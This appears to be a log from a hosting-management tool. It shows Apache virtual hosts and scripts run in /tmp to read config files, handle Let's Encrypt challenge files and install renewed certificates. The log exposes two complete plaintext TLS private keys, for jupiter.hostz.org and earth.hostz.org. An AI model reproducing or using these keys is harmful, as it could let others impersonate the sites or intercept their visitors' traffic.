         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-08 06:01:13: 

PUT: /tmp/pkp180733

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:01:13: 

chmod 755 /tmp/pkp180733; /tmp/pkp180733; rm /tmp/pkp180733

2025-10-08 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf	1307

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-08 06:01:13: 

PUT: /tmp/pkp303263

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:01:13: 

chmod 755 /tmp/pkp303263; /tmp/pkp303263; rm /tmp/pkp303263

2025-10-08 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5349
71:d6:17:65:7a:77:9f:e3:bc:f9:17:61:7f:0b:51:43

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBelY4MdM2V/z0EBBy4B0WHSGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjQwWhcNMjYwMTA2MDUwMjM5WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOG6ySWE8QRUnUWNxoc/vBta93vJU390ulY8GOc4U6MxvWp44xd59IBaaKD4
v1X8WqAjdmTPWCV8pLLqA3jsVUl4kDrGcTnahXx7QswwzTL1xUJ6ODepb99owZT+
wZoG769o/xmXlujrvQCV+q5IBQrC7sVXmk8wWtGXj3RaYZklzM9XGq1Os07JMgpz
Bh3A/CHBa7ZgLs69uy8w8TDdnML1aqxFuxV9D/ViT0bCwNFRIiOw3FsAzTTkVzNm
ltzDgMr8YT2e6ITcGA1h1kBwDXtpfvoxbyAqVRPYGlkc7r4xtvH4YZ+YqyDst7CN
FPKq9WEDsUG6PDUIYFwXd7//SekCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUi4x3twhwuoYDuH52PvwTDV8CNU4wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxodHRwOi8v
cjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZwmjIzQAABAMARjBE
AiBXZAXIDTf9lZRJGc0BZDSrcE5bKczJbbZD0803x0+73QIgTLPdWl/N+zLgNcGd
nzDbi9mw7atnNHY8bWlz8MgZ91gAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZu
RqQ/D8qpxgAAAZnCaMkeAAAEAwBHMEUCIElVJEXS0VIw3HwlgfJJ4AnzyJ8Svyv3
pXG9F7B85uaEAiEAgPkfIcgDQkE1Aj9Tly14yPZEtY1EU4G2li5MnK+Ec5YwDQYJ
KoZIhvcNAQELBQADggEBAMWgT2BX5YFq3lCamQNxlmcZ4GD7G+oAZxciU4luV0h2
wKAs8dMuZFxLr5mIGiQgDrk7udEliucg+5X7FMajjx7HLKAljnverWcTFx917duw
F3ZCe5g17Gt3nfEWK9aNz37qJfKnZ9VSEKKDn4Ul7d1eRoKYKk6TX+veuNpj6v7b
78XFJZSbHJzGQ6XHImfsGfEhVQi1/1IINNnKNlbGxl9/hiHWp2r8HhiD+y4aEmJD
IeABce2zY4frwi/kYM4nxHdF4IaFIE0gWWV2altv0q1YNBm6QdVYiu0Mb0lOIlcU
tWwFzgWlEQVrUx0miU9bwbrW8gG8xN6KuS2dcujMuAg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhusklhPEEVJ1F
jcaHP7wbWvd7yVN/dLpWPBjnOFOjMb1qeOMXefSAWmig+L9V/FqgI3Zkz1glfKSy
6gN47FVJeJA6xnE52oV8e0LMMM0y9cVCejg3qW/faMGU/sGaBu+vaP8Zl5bo670A
lfquSAUKwu7FV5pPMFrRl490WmGZJczPVxqtTrNOyTIKcwYdwPwhwWu2YC7Ovbsv
MPEw3ZzC9WqsRbsVfQ/1Yk9GwsDRUSIjsNxbAM005FczZpbcw4DK/GE9nuiE3BgN
YdZAcA17aX76MW8gKlUT2BpZHO6+Mbbx+GGfmKsg7LewjRTyqvVhA7FBujw1CGBc
F3e//0npAgMBAAECggEAOz36bI5ncuuCGy8KW5Sumb9WFHbSIzFPdjJvlr+Bs+Lq
A3eWoiKvuMABlb2y+a4xWrXz7KE+URhVYV9paeMcvxuVPte1/6kKP5FaBp0IPcei
7b+F4ZXmdovXwnLZ/MK1RSQZT24pfRfhkrXKBNOB/0EJyWEkboQSUc+lJrRRyQ9U
cxNvkGvDfqzaHn/fZoz7BQ+af3TGOCdAcYAU7A8sZWUxG6Pmm9p9FJUNdYplDESQ
1kps4JjiFH7up2AOEd7jMnWeku/LIycPkvQyVT+SJBJSFgs01LtFHn4Z4lj6tVlr
nt8tkQrnX9fLo0KBOdqY1ypNJ/DyfWE4na3RsYy4AQKBgQDwmqQPa3qE1ZPKBQsu
Ym/w71wLtGCtUugoFdJy8ijrSJ+iNsx61TmITYVwtqAJdSFfSCR/LDLleN0ScNhf
C4WsJq+QswqG2B9swOca9jTIsdcZl4axz0PXk8Lti2jNg8e346JMrVbi3cyl5sR2
DlTDBUI8tfJFPlyfmy7inuDHuQKBgQDwLHw7isTh4BRphOZTd/oZdHDP8oejG2zn
RS3RLMjPLWRzbkFBNQ4NvfpeSUqQ66RBJesYrDfWY6ne+wOKL1oYA+ajKt8vnyFc
kEsGZsepOmIzQGpHrQ8Qw22jY+1TvRdY8wcSj8d9zX8niFKswhtWDZliLQehfxHT
WET9caJLsQKBgQC42iZ3zlx4F9sO1+cqQOi+FDgEqhWotEy3F2TzeQdlFQvIRg+9
w3oLNXvzB+xWt83m9XdM2XlVAhHfLCGgjCqsA6DZLCVHSl6CYIZuGYCePLwE5nzO
uW3m/5hAht4DH17e8h3siTR64mtrfqusBACtQKoOGL/E4U+qNEDGTchmyQKBgQC8
zywHHwuySpehcIIlgj9SPZDmWVK6LjhKA7+GHr/q51N9z2JrYcsfkIdAEjwVe7pQ
IQAWEGWBHC6SBiF9Q8Z+9KofAfgdFuuCOklQygISjrxecDhdCra6RfhuJ4OOfivZ
mIyp0fBRfPiGWowsFhipaN15Kc9C7YNU86Kg3/FnsQKBgEK/VgnhLpxrROHjMkiC
A4BQeAMghPoltXfcch4FvSGw1W88C0B11HYjX64ScSZVc3M2j0B3bBEUJT3NYo8k
vXQpCl1u28NKT3B1klR9anBwGK7IvkopmFoiTS7aIr5N3BPS/yY6TfifOcYmkro+
/t9kmN73WcC4ulm1urDmQkJI
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-08 06:01:13: Establishing a connection
2025-10-08 06:01:14: Establishing a connection
2025-10-08 06:01:14: 

PUT: /tmp/pkp402713

#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:01:14: 

chmod 755 /tmp/pkp402713; /tmp/pkp402713; rm /tmp/pkp402713

2025-10-08 06:01:14: 


1


2025-10-08 06:01:15: Establishing a connection
2025-10-08 06:01:15: 

PUT: /tmp/pkp538896

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"


2025-10-08 06:01:15: 

chmod 755 /tmp/pkp538896; /tmp/pkp538896; rm /tmp/pkp538896

2025-10-08 06:01:15: 




2025-10-08 06:01:15: Establishing a connection
2025-10-08 06:01:16: Establishing a connection
2025-10-08 06:01:17: 

PUT: /tmp/pkp220621

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:01:18: 

chmod 755 /tmp/pkp220621; /tmp/pkp220621; rm /tmp/pkp220621

2025-10-08 06:01:18: 


0


2025-10-09 06:00:03: Establishing a connection
2025-10-09 06:00:04: Establishing a connection
2025-10-09 06:00:06: 

PUT: /tmp/pkp898032

#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 06:00:07: 

chmod 755 /tmp/pkp898032; /tmp/pkp898032; rm /tmp/pkp898032

2025-10-09 06:00:07: 


1


2025-10-09 06:00:08: Establishing a connection
2025-10-09 06:00:09: 

PUT: /tmp/pkp530568

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
cat > 0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI


2025-10-09 06:00:10: 

chmod 755 /tmp/pkp530568; /tmp/pkp530568; rm /tmp/pkp530568

2025-10-09 06:00:11: 




2025-10-09 06:00:16: Establishing a connection
2025-10-09 06:00:17: 

PUT: /tmp/pkp452020

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
rm 0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI


2025-10-09 06:00:18: 

chmod 755 /tmp/pkp452020; /tmp/pkp452020; rm /tmp/pkp452020

2025-10-09 06:00:18: 




2025-10-09 06:00:18: Establishing a connection
2025-10-09 06:00:19: 

PUT: /tmp/pkp668140

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
a7:0a:40:bc:b9:87:97:a9:4e:07:4e:22:95:b9:3b:6f

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBoWL6nO0iIiD5+K+1G0rzGfxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MDUwMTQ1WhcNMjYwMTA3MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyV/VL+Fx8VYgzsWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5ox
IJWtEDT4GjL+0SHm4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNx
Xp5x85iQBzgxiUGOYUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/
hEkDiyIUAKcMYCcHcpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO5
2kopmPDvmKqDKVHAcoHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2M
sDomFx6JhHWQHzGGdLTAYW0XAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFHbL6l5BGuQZmR6V8Si1qdK4UYTBMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG
1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmceOTS0AAAQDAEYwRAIg
XOoPgFHv/8L5RnTGGWJbieGhqb6jmmIpnIxntRDKvF0CIF9VvuJdQ2wWji//+GDE
E+dlWlHxHI69o3nOzse6ODG4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIakl
rGHFTiEAAAGZx45NKgAABAMARjBEAiA+rqKnl8PlIFI8pH4eTaZJ++3P4+YLmA7y
O4gZ2mXIJQIgQdQ3lXhWA7vPJSo/PQaeL1DxBCtcmMmzxK6FaHYMQpUwDQYJKoZI
hvcNAQELBQADggEBAC+EpkHDIhJWeLUFm9jMHUOzn7YTNX0pYUUdhgv4NMskrKSV
qRLsY53lmEFn0w5A/tIPKtkT9P5PCpzZoKijCmlb6tmbvW5yK/xS0BDgVsnxdI9Q
ff/afKuwX7nOBPdR5LIIK69Q6AxO95kZjzU5cR5zDlZUhfDpnJWS1lV92SiEd+2g
N7QzOSZJUfEF0E+HNaconV2Kjb7KCnYR7hYfB/Mc6C0G87Ab9SxB8kdvCNk25rjB
8Frvf7muJU5ROlQcgMC7oa+OAKOfgAvZhtPNuCK8S4d2RIxKkiuEQp724vxLxLi1
a9eTz7umqW9vTgi/1XU0Nb32QslFF3eNew2XMoI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyV/VL+Fx8VYgz
sWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5oxIJWtEDT4GjL+0SHm
4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNxXp5x85iQBzgxiUGO
YUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/hEkDiyIUAKcMYCcH
cpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO52kopmPDvmKqDKVHA
coHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2MsDomFx6JhHWQHzGG
dLTAYW0XAgMBAAECggEAEXnZCaa+uVhQTnB1QjdXr2zfv3vNscSrYxWuTcLAagt/
yqqj1L7/lB0jOCazh1jgEeNirWUz1hB8N/mqWyOIsMYxwRct3yyPSwpr3wjwLeik
MCbvTv25ljg9vWD0IynYcOYj7wkmEoSWrfMN/cKDpY/lEOcUNIyB2xE2xLgh+MUX
2h2+0kaXeXFvB3bsqHAz9JUeDpJo03/lCUut4G/iKezD8KVK9CANoFYHQODZ+j22
aL5xZpYdCaZ2ouUoUpXa+x1jdmDy3EWhAM35ja1m+xjzQZP7x1MXQNT8F+seN2Vz
k703ip5rbWjy/tMNSWpRI3Mtfn5tXH/MzAEbDilt4QKBgQDdSdarKUE7i2NnAWY/
iSKGrsjQx+K8DiEqmGrlTy6wq4NkJgtUG3roM0L8Axlr9epep5kWjD8dqdbUkiGU
iFel2VBGPaZrw+Oh/hDiUKODCxSot1BgOrnUMUNWWoimFDSwkiR0Dxm3Eq4Py5ZB
amMfu9WkkrxK3iJ9mQdTPUPsbwKBgQDOUZs+BMz0Rnsedd6dPBuVpzuOI/8CHgco
E3nhtw4xbJ/jNVy1FIU1H8nXcagH0cg9HitR6JIZeaETMow+apZFj33mlBzE9Pzs
+LcnjaOwpcaIQqDJkRiF51WuwTpbLLEMvuRuMcazp+gzwLP+ptJNm8DC2Lp1rjGW
1dUP5umt2QKBgQDPrlPlUZOiUaBZ9OtEZ+zaYEGiCGbYPZ6M/n0cdyMHtgBbRoVN
S3kfYbTVFgeO1j4+1aaMjdVSfqpb2EXhw9AWnAyFz6hX7YG+79ZiwHGlNAoQifLK
TXNIHW/oJJGo5L/Kk23Y6q8krUhlFJoRDMq45q2MhhZnYXEXVT6VtaMAywKBgQCX
v8gqPoes56YoylM5XPuBACa6rlki6oki/eg4j1Z+HcIf8KDGg1hSsZXYw7zuO2tH
IMiGD0RePmqt3xDt26G5eggFL01VxEe/2FOGYRRTmirDEBaJCxJ5cqQ/y9mrM9zp
XgJP1oaqn0YXwpXhKDwoXvXRmmzSn5PTuGVks9eOSQKBgAj+cssoNSoUYzvy0d1Y
GkTwzIepC+jT5V0v4kCVPlZvnqsHxDSLLIIpbjB17rcubi56yEBXGdV74cyadQOW
sSGfkZI11BKNkQJASNp6GPy9b3VjAbl+cECwie7MgTOm6arMk8dbQJiJiLb/ffvX
y1Gaf7UdnO7MbLnUvdj2WHbQ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 06:00:20: 

chmod 755 /tmp/pkp668140; /tmp/pkp668140; rm /tmp/pkp668140

2025-10-09 06:00:21: 


dir=/etc/ssl/certs


2025-10-09 06:00:21: 

PUT: /tmp/pkp667213

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_earth_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 06:00:21: 

